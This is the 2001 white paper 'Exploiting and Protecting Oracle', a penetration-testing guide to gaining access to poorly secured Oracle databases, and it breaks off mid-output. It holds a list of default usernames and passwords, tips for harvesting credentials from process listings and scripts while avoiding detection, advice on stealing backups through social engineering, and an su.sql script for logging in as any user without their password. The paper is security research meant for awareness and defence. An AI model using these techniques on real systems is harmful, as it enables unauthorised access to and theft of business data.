ORACLE SECURITY WHITE PAPER SERIES

EXPLOITING AND PROTECTING ORACLE

Synopsis:	This paper attempts to cover the major security aspects of an Oracle *RDBMS* and applications installation, highlighting where there could be security issues. All of the major components and tools are covered and SQL scripts are included to highlight issues or to help explain how and where to read the database configuration or to extract data. This paper is intended to be a working document, content and collaborations are welcomed from all parts of the Oracle and security industries. There are already changes and enhancements planned to this paper and future complimentary papers.
Developed By:	Pete Finnigan. (pete.finnigan@pentest-limited.com) PenTest Limited Highleadon Mereside Road Mere Knutsford Cheshire WA16 6QZ Phone: 0044 (0) 1565 830990 Fax: 0044 (0) 1565 830989
Date First Issued:	24-Aug-2001
Future Content:	• Enhancements to the Auditing section, including how a hacker may cover his or her tracks in detail. Also a discussion on the use of the Oracle provided DBA views with regard to detecting an attacker. Finally a discussion about how to protect your audit records from being altered or deleted. • A more detailed discussion of the Oracle Listener, SQL*NET v1 and v2 and NET 8 and how to attack a database remotely. • A discussion of the Oracle 8i packages used for output.

Revision History

Many thanks and appreciation must go to the reviewers of this paper, the efforts and comments which were mostly incorporated were extremely helpful.

Version	Author	Reviewer	Comments
1.1	Pete Finnigan		First Issue
1.2	Pete Finnigan		Reviewed for grammar
1.3	Pete Finnigan	Mark Rowe - PenTest Limited	Technical Review
1.4	Pete Finnigan	Various Industry Reviewers	Technical Review
1.5	Pete Finnigan	Jerzy Cwikowski (MScEE - Master of Science In Electrical Engineering) - Matrix - Poland	Technical Review

Contents

Introduction

This Oracle security paper is one of a series describing hacking Oracle, Oracle security, un-documented Oracle and Oracle Architecture. Details of the other papers in this Oracle and security series can be obtained from www.pentest-limited.com as they become available. Copies of the scripts discussed in this document will be available for downloaded from this website.

Oracle is now widespread throughout the business world and a very large portion of the world's data is stored in Oracle databases. There are numerous books about hacking and security in general but very little about hacking Oracle and Oracle security specifically however the O'Reilly book Oracle Security is a very good exception to this. Organisations usually take some steps to secure their many systems, but few take the threat of access to their database very seriously. As Oracle is now in such widespread use it is worth revealing something about how open Oracle databases generally are.

This paper is intended to cover all of the main components of Oracle in simple terms and discuss where security holes may be found. It is not intended to expose new exploits but is designed to help the reader understand the main areas of Oracle and help prevent security implementation issues in the future. It is and will continue to be a work in progress and your feedback is highly appreciated. Future content is already planned and has indeed been sugested by some of the reviewers. This will be incorporated as soon as it is possible.

The Important data probably isn't secure!

This paper explores some of the possible ways of gaining unauthorised access to a poorly secured Oracle database. This paper assumes that access has been gained to the Windows or Unix server hosting the database or access is available through Oracle's SQL*Net directly or indirectly using telnet to the relevant port, or via a third party application using ODBC, OCI, or one of the application protocols or any other means. It is assumed that the super user account for the server, the "oracle" account or the account that owns the Oracle software has not been compromised. Remember a hacker who wants to steal, damage or look at data in an Oracle database does not need access to any super user account.

A set of steps can be shown that can be worked through to find a user that you can log onto the database with, try and find the password, and then explore what that user can do and see. It is important to know that it is not necessary to see database superuser(SYS and SYSTEM) objects to be able to steal data. The data owned and manipulated by a business will not in general be owned by the superuser. Indeed if it is the set up and design of the database needs to be reviewed. To access the oracle database and to be able to find the data required needs some knowledge of how an Oracle *RDBMS* functions and how the *meta* data is located.

The point to get across here is that you can probably access an Oracle database with little effort with any low privileged user account and still be able to gain a lot of information about a businesses data and how it is stored, provided you know something of how Oracle stores that data.

Most Oracle databases one will come across do not in general use the Oracle security model effectively. Where security is used, and super users accounts had been secured, little thought had been given to the structure of the applications and production data's security.

PenTest Limited wish to change this perception and make companies aware of the risks of not correctly setting up an Oracle database.

Methods Of Access

There are many ways to access an Oracle database. The list below shows a few

- Oracle server tools such as *sqlplus* and *svrmgrl*
- Oracle Enterprise Manager
- User written programs in many Oracle languages including
  - Pro*C
  - OCI
- ODBC

- JDBC
- SQL*Net or NET 8

For this paper *sqlplus* or *svrmgrl* have been used on a Linux platform. The techniques can be used with most connection methods.

We will also concentrate on a Unix installation of Oracle for this discussion, although the techniques can easily be applied to other operating systems and platforms.

Researching Oracle

Oracle very kindly gives away free trial installation CD's of its *RDBMS* software and more recently some of the development tools and applications. Various versions from Oracle 7.1 through to Oracle 8i and 9i have been available. More recently Oracle have made complete CD sets available for all operating systems for a very low cost. The Solaris Operating System for Sparc and Intel comes supplied with an Oracle installation. There is a book, Oracle 8i for Linux available from www.osborne.com under the Oracle press banner with either a Linux or NT installation of Oracle 8i included with it on CD.

Installing a version of Oracle under Linux or Windows is very useful to gain an understanding of the software and its use and where all the files and programs are located. Oracle changes the way its software works on a regular basis at a low level, even from sub version to sub version. Take a look at the structure and amount of x$ tables between different versions. It is worth getting acquainted with the various different versions and the differences between each, using the tools and creating databases. The Oracle *RDBMS* is a massive piece of software and to have any hope of hacking it or protecting it you need to know it pretty well.

Searching the installed Oracle software on a hacked machine will not be possible if you do not have the software owners password, but this doesn't matter if you have a local copy of the same version of Oracle installed on a machine you own.

With the NT and Linux distributions of Oracle 8.1.5 comes an electronic set of the documentation normally shipped as books with commercial versions of Oracle.

Finding out what databases are installed and running

You have accessed a Unix box with the intention of hacking into an Oracle database. How do you know where the database software is installed and what it's called?. Oracle databases can be distributed, parallel with many instances or stand alone.

The Oracle installation creates a file called `oratab` which contains the details of the databases installed on the machine. This can be used to start and stop databases during reboots and can be used for controlling backups. The location of this file is not fixed and can be in `/etc` or in `/var/opt/oracle`. The simplest way to find it is to run the following command

```
sputnik:pxf> find / -name oratab -print 2>/dev/null | more
/etc/oratab
```

However running a find command is not a good idea if you are trying to avoid detection. You can look in `/etc`, `/var/opt` and `/opt` and their sub-directories as a good starting point.

The `oratab` file should be world readable unless the *dba* or Unix admin has changed the permissions.

```
sputnik:pxf> ls -al oratab -rw-rw-r-- 1 oracle root 676 Jul 16 14:47 oratab
```

This file gives a list of `ORACLE_SID`'s and `ORACLE_HOME`'s. If *OFA* naming conventions have been used then the version of Oracle can be gleaned as it is included in the directory path. The important part is the `ORACLE_SID` as this can be used to find if the database is running.

The SQL* NET and NET 8 config files both on the server and on clients can be used to find details of databases running on both the

server and within the organisation. Details of these are shown in SQL*NET and NET 8 Configuration.

Checking out environment variables of a database user can give us some information. There should be at least the following set on a Unix / Linux system.

- **ORACLE_HOME** This is the location of the Oracle software.
- **ORACLE_SID** This is the name of the database you would like to access.
- **PATH** This is the standard PATH but should include a path to the oracle binaries.
- **LD_LIBRARY_PATH** This is the path for shared libraries and should include the path to the Oracle shared libraries.

One other way to find which databases are accessible is to look at what is running on the server using the Unix *ps* command. There are two things that can be looked for here, either look for actual databases instances or look for processes running against those instances where the user has been careless and used the username and password on the command line.

Here is an example to see what databases instances are running.

```
sputnik:pxf> ps -ef | grep lgwr | grep -v grep | more
sputnik:pxf> oracle 654 1 0 10:37 ? 00:00:00 ora_lgwr_PENT
```

This shows that there is one instance of Oracle running and the database *SID* is called *PENT*. Search for the string "lgwr" as that is the identification used for the *Log Writer* process. The Oracle *RDBMS* has a number of background processes that run all of the time and control the database and this is one of them. There are also a number of optional processes that can also run. All of these processes use and communicate through an area of shared memory called the *SGA Shared Global Area*.

Details of the Oracle background processes, the SGA and the internal tables will be discussed in a paper available from Oracle Architecture soon.

Searching the Environment for information

A useful exercise for hacking an Oracle database is to check users environments to see if any users have created environment variables with username and passwords in them.

Another useful check is to see if anyone has started any scripts against the database with username and passwords passed on the command line. You can see this with the following *ps* command:

```
sputnik:pxf> ps -ef | grep ora

root       617     1     -  39 10:37 tty1     00:00:00 login -- oracle
root       618     1     -  39 10:37 tty2     00:00:00 login -- oracle
oracle     625   617     -  39 10:37 tty1     00:00:00 -bash
oracle     650     1     -  39 10:37 ?        00:00:00 ora_pmon_PENT
oracle     652     1     -  39 10:37 ?        00:00:00 ora_dbw0_PENT
oracle     654     1     -  39 10:37 ?        00:00:00 ora_lgwr_PENT
oracle     656     1     -  39 10:37 ?        00:00:00 ora_ckpt_PENT
oracle     658     1     -  39 10:37 ?        00:00:00 ora_smon_PENT
oracle     660     1     -  39 10:37 ?        00:00:00 ora_reco_PENT
oracle     662     1     -  39 10:37 ?        00:00:00 ora_s000_PENT
oracle     664     1     -  39 10:37 ?        00:00:00 ora_d000_PENT
oracle     690   625     -  39 10:41 tty1     00:00:00 sqlplus system/manager
@doit.sql
oracle     691   690     -  39 10:41 ?        00:00:00 oraclePENT (DESCRIPTION=(
oracle     692   618     -  29 10:41 tty2     00:00:00 -bash
oracle     740   692     -  29 10:45 tty2     00:00:00 ps -ef
oracle     741   692     -  29 10:45 tty2     00:00:00 grep ora
```

It can be seen that someone has started a script as the oracle user *SYSTEM* and that the password is still the default one. This is a pretty silly example, but often it can be seen that *SQL* scripts run against Oracle databases with the username and password hard coded. Usually you need to write a shell script or cron job to check the process list every minute or so to find a script that is running, or to do some homework and find out when *batch* jobs are due to run.

The obvious next step is to search the whole machine or specific directories for scripts that contain Oracle usernames and passwords. These could be in any type of script, Bourne, KSH, Perl, SQL or a binary. You can make a good guess by looking for the strings *sqlplus* or *svrmgrl* in whichever directories and files you wish.

Backups and development Databases

The easiest and most successful database compromises will often involve getting the database data from area's where it is held un-secured. Two examples are backups and development or test databases. If it is possible to get the backups for a database or an export file then its possible to re-create the database on your own machine.

The main point here is that the data and the database is often not just held on a single production machine and database. There are often multiple development databases, system test databases, integration test databases, UAT databases and many forms of backups. *ARCHIVELOG*, redo logs, and export files will be covered later in exports, redo logs and control files. There are also the backups themselves to tape or to disk.

Types of Oracle backup

There are three main sorts of backup, exports, hot backups and cold backups.

- **Exports**: The Oracle tool *exp* is used to extract the data from the database itself to an Operating System file. The file format is proprietary and will be discussed in export, redo logs and control files. The Oracle tool *imp* is used to put the data back into the same database or another database. Partial exports can be done or *Full* exports of the whole database. A full export includes the password hashes. If the aim is to steal data then an export of the application owner's schema will suffice.
- **Cold Backups**: Cold backups can be performed using a number of methods and Unix tools. They can also be written to disk or to tape. The database needs to be completely shutdown for cold backups to take place.
- **Hot Backups**: Hot backups are backups taken on high availability systems and applications where the database cannot be shutdown. The database needs to be in *ARCHIVELOG* mode for hot backups, but a database being in *ARCHIVELOG* mode doesn't signify that hot backups take place. It's a bit more difficult to see this.

To check if a database is in *ARCHIVELOG* mode the following query can be issued in *sqlplus*

```
SQL> sho user
USER is "DBSNMP"
SQL> select log_mode
  2  from v$database;

LOG_MODE
------------
NOARCHIVELOG

SQL>
```

To see if a database is backed up hot or cold requires a little more investigation. You could search the machine for backup scripts containing the words *ALTER TABLESPACE [TABLESPACE NAME] BEGIN BACKUP*. Check out *cron* jobs for backup jobs, check out process listings throughout the day to see if any recognizable backup software is running. Check for log files. Check out what backup software is installed on the machine using *pkginfo -l*. You can check the status of tablespaces to see if any go offline during the

day with the following query which would be a good sign a hot backup is running:

```
SQL> select tablespace_name,status
  2  from dba_tablespaces;

TABLESPACE_NAME                STATUS
------------------------------ ---------
SYSTEM                         ONLINE
USERS                          ONLINE
RBS                            ONLINE
TEMP                           ONLINE
OEM_REPOSITORY                 ONLINE
INDX                           ONLINE
APP_IND_1                      OFFLINE
APP_DATA_1                     ONLINE

6 rows selected.

SQL>
```

Checking for a cold backup is easier as you can check out *cron* again, check process listings and see if the database is regularly shutdown and then look for any backup software running. If the Oracle alert log can be accessed then the database stop and start times will be clearly seen by scrolling through this file. Depending on what it is try and determine where and when the files are written and more importantly determine if they can be taken and read.

Backups to Tape

Backups to tape should be reasonably secure but if a determined hacker wished to, and there was no protection in place, it may be possible to use social engineering to request backup tapes from off-site and arrange to collect them from reception of the site. With the backup tapes it is then possible to recreate the database on another machine. Even if the database is much larger than the intended machine, it's possible to take all the tablespaces and datafiles you do not need off line and open the database without them. However, this is not easy and requires a lot of knowledge of Oracle backup and restore procedures.

There are even hidden parameters that can be used to help start the database even if you have managed to corrupt it because you are trying to start only part of a database.

Backups to Disk

Backups to disk are even better, if the files are not protected. Then it's easy to take them and re-create the database elsewhere to extract the password hashes or specific data. Again the same techniques mentioned above are needed to find out what backup software is used, where the actual backups are and where the log files are.

Development and Test Databases

If you are targeting a specific production database and its reasonably well protected, it is sometimes worth investigating to see if you can find development or test databases as these are likely to be much easier to break into. There are often a lot more *dba* accounts set up in development and test databases by developers who seem to think that they need *dba* access.

Also in many cases development and test databases have copies of full production data as it is needed for system testing and performance tuning. So if it is the data you require, then quite often a reasonably up to date set can be taken from a test or development database. How can you find a test or development database ? They are not forced to be on the same machine as the production database. Check out *tnsnames.ora* and *listener.ora* files for database SID's that sound similar to the production database. Look in the *admin* directory of the Oracle installation for the *init.ora* files. They should be named *init[ORACLE_SID].ora*.

The other hole sometimes left is that development users often have access rights far greater than they need, but when the test environment is moved to the production database quite often the users are also copied and the developers rights get copied to the production database as well. If you can get a developers username where they have *good* privileges then try those in the production database as well.

Disaster Recovery Databases

One other place to find database information is to attack the disaster recovery site. If one exists then its location needs to be discovered and access gained. Usually large organisations keep DR sites running but probably just out of date. The main advantage to a hacker is that its the same data and database as a production site, but it is likely to be less secure and hopefully there will be no SYS Admin or DBA logged on watching what's going on.

SQL*NET and NET 8 Configuration Files

The Oracle SQL*Net and NET 8 config files exist on both the client and the server. The *listener* runs on the server waiting for requests for access to the *RDBMS*. These config files tell the listener which databases and which Oracle processes to accept requests from.

Information can also be sought from the SQL*Net or NET*8 configuration files. These files are included on the server and on each client that will access the Oracle databases. The config files are *tnsnames.ora, listener.ora and sqlnet.ora* and are usually located in `ORACLE_HOME/network/admin` on a Unix system and in `%%ORA_HOME%%/network/admin` on a Windows system.

These files contain details of each database running on the server and in the case of the files on a client machine details of each database that can be accessed from that client and the machine on which it is located. Below is an example entry for a database called *PENT* and also shown is the entry for the *EXTPROC* process.

Here is an example entry in a *tnsnames.ora* file.

```
PENT =
  (DESCRIPTION =
    (ADDRESS_LIST =
        (ADDRESS = (PROTOCOL = TCP)(HOST = EUROPA)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = PENT)
    )
  )

EXTPROC_CONNECTION_DATA =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
    )
    (CONNECT_DATA =

      (SID = PLSExtProc)
      (PRESENTATION = RO)
    )
  )
```

You can see here that this file supports the *EXTPROC* procedure and just one Oracle database. The protocol is *TCP* and the host is EUROPA, but it could be an *IP* address and a different protocol. The standard port to listen for the Oracle TNS listener is 1521 or it could use 1526 if 1521 is already in use by another installation of Oracle on the same machine. The `SERVICE_NAME` is the database *SID*. This name is needed with the *username* and *password* to make a connection to a particular database.

The *EXTPROC* process accepts requests from PL/SQL procedures to call external 'C' functions written and installed by application

developers. A good description of how to write these functions and processes can be found in Oracle PL/SQL programming 2nd Edition by Steve Feuerstein by www.oreilly.com. The Oracle *RDBMS* makes calls to these 'C' functions via the TNS protocol rather than the direct method used in the Oracle built in packages by Oracle themselves. Oracle call the 'C' functions that make up most of the built in packages directly with a PL/SQL keywords *pragma interface*. It is possible to create a user package using the same syntax and calling one of Oracles 'C' functions and to successfully compile it. This has been done, but when the function or procedure in the package is executed it fails with an `ORA-6509 ICD vector missing` error. It looks like Oracle have a hard coded function pointer table. It is probably visible via the X$ tables. The X$ tables are not modifiable as they are really a window onto linked lists of 'C' structs in the SGA. If this table is in the X$ tables then it should be possible to add new entries via the `oradebug poke` command, *watch this space*..

The *tnsnames.ora* file is a mandatory file on the database server and may be needed on the client depending upon whether a names server is being used.

Next is an example *listener.ora* file.

```
LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
        (ADDRESS_LIST =
        (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
        )
      (ADDRESS_LIST =
          (ADDRESS = (PROTOCOL = TCP)(HOST = EUROPA)(PORT = 1521))
      )
    )
    (DESCRIPTION =
      (PROTOCOL_STACK =
        (PRESENTATION = GIOP)
        (SESSION = RAW)
      )
      (ADDRESS = (PROTOCOL = TCP)(HOST = EUROPA)(PORT = 2481))
    )
  )

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PLSExtProc)
      (ORACLE_HOME = C:\Oracle\Ora81)
      (PROGRAM = extproc)
    )
    (SID_DESC =
      (GLOBAL_DBNAME = PENT)
      (ORACLE_HOME = C:\Oracle\Ora81)
      (SID_NAME = PENT)
    )
  )
```

This file controls the *TNS* listener on the server. It again contains information on the *IP* address, the hostname, the protocol and the port that the service is listening on. The second section details the database names and the `ORACLE_HOME`'s of those databases. The *listener.ora* file is mandatory on the database server. If several listeners are to be used on the same node they will share the same *listener.ora*.

Attacking through another database

Quite often a number of Oracle databases are used within an organisation and applications are created that use more than one of them, or a process in one database obtains data from another database to update its own tables.

If the target database is particularly difficult to get into then it may be possible to access the database you want from a less secure one. Using the same default users and techniques to gain access to other databases. Then you can issue the following query to see if there are any database links from this database to the production database you wish to access.

```
SQL> select db_link,username,host
  2  from all_db_links;

DB_LINK               USERNAME HOST
--------------------- -------- ---------
VOSTOK                VXD      vostok@europa.world

1 rows selected.

SQL>
```

The database link needs to use *TNS* to access another database therefore there needs to be an entry in the *tnsnames.ora* file for it. In the example above vostok is another database on the host europa. Quite often database links are made where the user created in the host database to run the queries on behalf of the source database is a *dba*. It is worth checking out this access path to see if higher privileges can be acquired in the production database.

Confirming the version of Oracle

It is useful as a first step to find out the version of the database server we are trying to access. This can be done quite easily without logging onto the database by running the Oracle utility *svrmgrl*. This is located in the `ORACLE_HOME/bin` directory of the oracle installation.

This tool is SUID oracle and SGID dba and has executable permissions for user, group and world. This means that anyone can use it. Running this utility and not trying to log in gives us the following information.

```
sputnik:pxf> svrmgrl

Oracle Server Manager Release 3.1.5.0.0 - Production

(c) Copyright 1997, Oracle Corporation. All Rights Reserved.

Oracle8i Enterprise Edition Release 8.1.5.0.0 - Production
With Partitioning and Java Options
PL/SQL Release 8.1.5.0.0 - Production

SVRMGR>
```

This quite clearly shows we are running version 8.1.5 of the *RDBMS*.

It is also possible to run a listener command remotely and locally that will give similar information. The command is `lsnrctl status`.

Finding a User

Investigation of Default Oracle Accounts

Standard installations of the Oracle 8i *RDBMS* on both Linux and Windows NT for version *8.1.5* have been investigated and the following possible default accounts and passwords that *could* be installed have been found. The standard *RDBMS* and development tools were installed in each case. This gives 9 default accounts under Linux and 12 under Windows NT.

The Windows NT installation is more dangerous as it provides a *DBA* account with the user CTXSYS and also the user MDSYS has "ALL PRIVILEGES WITH ADMIN" granted. Having "ALL PRIVILEGES" is as good as having *dba* privileges. None of the Linux default users is as dangerous as this, except of course SYS and SYSTEM if the passwords have been left set to the defaults.

There are 52 default users for Linux and 57 for Windows NT. You are never going to see all of these users in one database unless someone is experimenting, but it's more than likely that you will see some of them. These users were found by searching all of the SQL files provided by Oracle in the standard installation.

Remember it's the data in the actual database that should be protected, and most often it's not. It's not necessary to get SYS, SYSTEM or even a DBA to get at user data in an Oracle database. A user such as DBSNMP or OUTLN can access a list of users in the database. The actual user information is stored in a database table called `USER$` owned by the user SYS. Unless you are very lucky and someone has inadvertently granted access to this table you will not be able to see it unless you are logged on as SYS or a *dba*. There is also a view `DBA_USERS` that accesses this SYS table. Access is granted to select from this view to users who are DBA, or who have been granted permission to select any view. All is not lost though as any user who has the minimum permissions such as DBSNMP can access another view called `ALL_USERS`. This view doesn't let you see the password hash, but does let you get a list of all of the database users. If you can get a users password, and quite often they are set to USER_NAME/USER_NAME then you can probably access the production schema and certainly do SQL Injection on the application. Using one of the innocent users such as DBSNMP or OUTLN you can glean a lot of information about a database, and who uses it.

Also for both Linux and Windows NT installations the `internal` users default password is set to `oracle`. This user name is used to connect effectively as SYS without having the SYS password using tools such as *sql*plus* and *svrmgrl*.

Here is a table listing all of the default users and passwords that could be found for both Operating Systems. The usernames / passwords coloured in Orange are the ones installed from a standard installation.

WINDOWS NT	LINUX	PRIVILEGES
ADAMS/WOOD	ADAMS/WOOD	.
AQDEMO/AQDEMO	AQDEMO/AQDEMO	.
AQUSER/AQUSER	AQUSER/AQUSER	.
AURORAORBUNAUTHENTICATED/INVALID	AURORAORBUNAUTHENTICATED/INVALID	.
BLAKE/PAPER	BLAKE/PAPER	.
CATALOG/CATALOG	.	.
CDEMO82/CDEMO82	CDEMO82/CDEMO82	.
CDEMOCOR/CDEMOCOR	CDEMOCOR/CDEMOCOR	.
CDEMOUCB/CDEMOUCB	.	.
.	CDEMORID/CDEMORID	.
CLARK/CLOTH	CLARK/CLOTH	.
COMPANY/COMPANY	COMPANY/COMPANY	All Privileges
CTXSYS/CTXSYS	CTXSYS/	DBA
DBSNMP/DBSNMP	DBSNMP/DBSNMP	.
DEMO/DEMO	.	.
DEMO8/DEMO8	DEMO8/DEMO8	.
EMP/EMP	.	.
EVENT/EVENT	EVENT/EVENT	DBA

FINANCE/FINANCE	FINANCE/FINANCE	All Privileges
FND/FND	FND/FND	.
GPFD/GPFD	GPFD/GPFD	.
GPLD/GPLD	GPLD/GPLD	.
JONES/STEEL	JONES/STEEL	.
MDSYS/MDSYS	MDSYS/MDSYS	All Privileges with Admin
MFG/MFG	MFG/MFG	All Privileges
MILLER/MILLER	MILLER/MILLER	
MMO2/MMO2	MMO2/MMO2	.
.	MODTEST/YES	DBA
MOREAU/MOREAU	MOREAU/MOREAU	.
.	NAMES/NAMES	.
MTSSYS/MTSSYS	.	.
OCITEST/OCITEST	OCITEST/OCITEST	.
ORDPLUGINS/ORDPLUGINS	ORDPLUGINS/ORDPLUGINS	.
ORDSYS/ORDSYS	ORDSYS/ORDSYS	.
OUTLN/OUTLN	OUTLN/OUTLN	.
PO/PO	PO/PO	DBA
POWERCARTUSER/POWERCARTUSER	POWERCARTUSER/POWERCARTUSER	.
PRIMARY/PRIMARY	PRIMARY/PRIMARY	.
PUBSUB/PUBSUB	PUBSUB/PUBSUB	DBA
RE/RE	.	.
RMAIL/RMAIL	.	.
SAMPLE/SAMPLE	.	DBA
SCOTT/TIGER	SCOTT/TIGER	.
SECDEMO/SECDEMO	SECDEMO/SECDEMO	.
SYS/CHANGE_ON_INSTALL	SYS/CHANGE_ON_INSTALL	SUPERUSER DBA
SYSTEM/MANAGER	SYSTEM/MANAGER	DBA
TRACESVR/TRACE	.	.
TSDEV/TSDEV	TSDEV/TSDEV	.
TSUSER/TSUSER	TSUSER/TSUSER	.
USER0/USER0	USER0/USER0	.
USER1/USER1	USER1/USER1	.
USER2/USER2	USER2/USER2	.
USER3/USER3	USER3/USER3	.
USER4/USER4	USER4/USER4	.
USER5/USER5	USER5/USER5	.
USER6/USER6	USER6/USER6	.
USER7/USER7	USER7/USER7	.
USER8/USER8	USER8/USER8	.
USER9/USER9	USER9/USER9	.
VRR1/VRR1	VRR1/VRR1	DBA

Hacking an application account

If you can get into the database using one of the above accounts then great. What would be better would be a *dba* account or if you intend to get at the production data then ideally the schema owners account or an application users account.

One of the following approaches may be useful to identify other accounts.

- Try *ps* listings to see if anyone is logged on via *sqlplus*

- Try *greping* for scripts that have hard coded usernames in them
- Try accessing a development or test database and getting a list of users

If you can gain access with an unprivileged user then you can get a full list of the users in the database but you need a *dba* account to access the password hashes. The SQL to get a list of users is:

```
SQL> sho user
USER is "DBSNMP"
SQL> select username
  2  from all_users;

USERNAME
------------------------------
SYS
SYSTEM
OUTLN
DBSNMP
MTSSYS
AURORA$ORB$UNAUTHENTICATED
SCOTT
DEMO
ORDSYS
ORDPLUGINS
MDSYS
FINANCE
CTXSYS
TRACESVR
AXA
BXD
PXF

17 rows selected.

SQL> spool off
```

It can be seen that there are three users that are clearly not Oracle default users. More often than not users set their passwords to the usual *password* or the username. Try each in turn with the username as the password.

If you have a DBA password or someone has granted access to the dba view `DBA_USERS` then replace `ALL_USERS` with `DBA_USERS` in the above and also select the column PASSWORD. This column contains the password hash. `DBA_USERS` is a view onto the database table `USER$` owned by the user *SYS*.

External Users

One class of users that could be an easy way into the database if you can get their O/S username and passwords are the class of Oracle Users known as *External*. These users can really only be detected from the *SYS* users table *USER$* or from the *dba* view `DBA_USERS` by selecting the username and password as follows:

```
SQL> select username,password
  2  from dba_users
  3  where password='EXTERNAL';

USERNAME                       PASSWORD
```

```
------------------------------ ------------------------------
OPS$PXF                        EXTERNAL

SQL>
```

If you can find an external user then logging into the database is as simple as the following

```
sputnik:pxf> sqlplus /

SQL*Plus: Release 8.1.5.0.0 - Production on Mon Jul 30 20:48:49 2001

(c) Copyright 1999 Oracle Corporation. All rights reserved.

connected to:
Oracle8i Enterprise Edition Release 8.1.5.0.0 - Production
With the Partitioning and Jave options
PL/SQL Release 8.1.5.0.0 - Production

SQL>
```

If you can find an external account that is a *dba* then that's even better. The prefix `OPS$` is used to signify that the user is external, in this case, but only if the initialisation file parameter `os_auth_prefix` is set to that. You can view this parameter in *svrmgrl* by using the command `show parameter os_authent_prefix` or with the following sql in *sqlplus*.

```
SQL> col name for a20
SQL> col value for a20
SQL> select name,value
  2  from v$parameter
  3  where name='os_authent_prefix';

NAME                 VALUE
-------------------- --------------------
os_authent_prefix
```

If this parameter is set to a value then use it to determine if there are any external users by querying the `ALL_USERS` table.

If the parameter `os_authent_prefix` is set then any users with that string in their name can log into the database from the O/S without a password, but they can have a password defined also and log in with it remotely. If the user is created with the string `identified externally` rather than by a password then they too can log on on the O/S without a password, but they cannot log on remotely.

The goal is a DBA account, or is it?

The goal in hacking an Oracle database is to get a *dba* account, *any dba account*. That's right you don't need to get the Oracle super user account SYS to get unlimited access to an Oracle database. If you can get a *dba* user then its possible to log into the Oracle *RDBMS* as any other user you like including SYS. Unfortunately its not possible to su unless you are a *dba*, this is because it involves using an un-documented feature of the `alter user` command that allows you to change a users password to a known password hash. The script `su.sql` is available from the downloads page on www.pentest-limited.com shows how. This script is written to work on Unix. Change the line that deletes the temporary file so that it uses DEL for Windows NT.

```
-- name       : su.sql
-- date       : 23-Jul-2001
-- Author     : Pete Finnigan
-- Description: change to another user without knowing their password, remain
connected
--              as the new user and leave the original password of that user set.
-- limitation : need to have access to any dba account to use this script.
--
-- usage     : SQL> connect sys/change_on_install
--            : SQL> sho user
--            : USER is "SYSTEM"
--            : SQL> @su system
--            : SQL> sho user
--            : USER is "SYS"

set head off
set feed off
set verify off
set pages 0
set termout off

spool su.lis

select  'alter user '||username||' identified by values '''||password||''';'
from    dba_users
where   username=upper('&&1');

spool off

alter user &&1 identified by temppswd;

connect &&1/temppswd

@su.lis
-- uncomment the relevant line for your O/S
--host rm -f su.lis
--host del su.lis

set head on
set feed on
set verify on
set pages 24
set termout on
```

The user you su to doesn't have to be a *dba*, but bear in mind you cannot use this script to su back to your *dba* account from your non *dba* account.

If someone wanted to steal the data in your database, a dba may not be needed. A dba can help to get the schema owner, even then you may not need to be the schema owner to hack the data you need, so beware.

Oracle Roles and Privileges

Oracle has a set of built in privileges and a set of built in roles. It's easy for users of the *RDBMS* to create their own roles and to grant the permissions they require to them. It is possible also to grant roles to roles thereby creating a hierarchy of privileges. All of the roles and privileges are stored in tables owned by *SYS* in the data dictionary. There is a set of tables called DBA_% and these can only be viewed by a *DBA*. There are some tables showing a users own privileges and these are called USER_% and there are also a set of

general tables that can be accessed by non *dba* users.

Each of the main tables controlling information for roles and privileges are described below:

DATABASE VIEW	Description
DBA_USERS	Stores information on who has an account in the oracle database. The username and password hash is stored along with which profile has been granted to the user.
DBA_PROFILE	Stores information about resources and their limits for each profile.
DBA_ROLES	Details all of the roles that exist in the database.
DBA_ROLE_PRIVS	Roles that have been granted to individual users and to other roles.
DBA_SYS_PRIVS	System privileges that have been granted to individual users and to other roles.
DBA_TAB_PRIVS	Select, Insert and Update privileges granted to an individual user or role.
DBA_COL_PRIVS	Select, Insert and Update privileges granted to an individual user or role.
ROLE_ROLE_PRIVS	This shows roles granted to other roles.
ROLE_SYS_PRIVS	Shows system privileges granted to roles.
ROLE_TAB_PRIVS	Shows table privileges granted to roles.
ROLE_COL_PRIVS	Shows column privileges granted to roles.
USER_ROLE_PRIVS	Shows roles granted to the current user.
USER_SYS_PRIVS	Shows system privileges granted to the current user.
USER_TAB_PRIVS	Shows table access privileges granted to the current user.
USER_COL_PRIVS	Shows column access privileges granted to the current user.

If access as a *dba* is achieved then clearly SQL can be written to find out what access rights any user chosen has. An example for the user *DBSNMP* is shown below as selected by the user *SYSTEM*. It shows details of the Profile and the privileges granted.

```
spool privs.lis

col pr head "Profile" for a8
col rn head "Resource" for a25
col rt head "Type" for a10
col li head "Value" for a10
break on pr skip

prompt
prompt Profile Details
prompt ===============

select p.profile pr,
        p.resource_name rn,
        p.resource_type rt,
        p.limit li
from    dba_users u,
        dba_profiles p
where   u.profile=p.profile
and     u.username='DBSNMP';

col gr head "Grantor" for a8
col tn head "Object" for a20
col ow head "Owner" for a8
col pr head "Privilege" for a10
```

```
prompt
prompt Object Privileges
prompt =================

select t.grantor gr,
        t.table_name tn,
        t.owner ow,
        t.privilege pr
from    dba_tab_privs t
where   t.grantee='DBSNMP';

col cn head "Column" for a20

prompt
prompt Column Privileges
prompt =================

select c.grantor gr,
        c.column_name cn,
        c.table_name tn,
        c.owner ow,
        c.privilege pr
from    dba_col_privs c
where   c.grantee='DBSNMP';

col ad head "Adm" for a3
col pr head "Privilege" for a30

prompt
prompt System Privileges
prompt =================

select s.privilege pr,
        s.admin_option ad
from    dba_sys_privs s
where   s.grantee='DBSNMP';

col gr head "Granted Role" for a30
col dr head "Def" for a3
col ad head "Adm" for a3

prompt
prompt Role Privileges
prompt ===============

select r.granted_role gr,
        r.default_role dr,
        r.admin_option ad
from    dba_role_privs r
where   r.grantee='DBSNMP';

spool off
```

The results from running the above SQL are below:

```
Profile Details
===============

Profile  Resource                   Type       Value
-------- ------------------------- ---------- ----------
DEFAULT  COMPOSITE_LIMIT           KERNEL     UNLIMITED
         FAILED_LOGIN_ATTEMPTS     PASSWORD   UNLIMITED
         SESSIONS_PER_USER         KERNEL     UNLIMITED
         PASSWORD_LIFE_TIME        PASSWORD   UNLIMITED
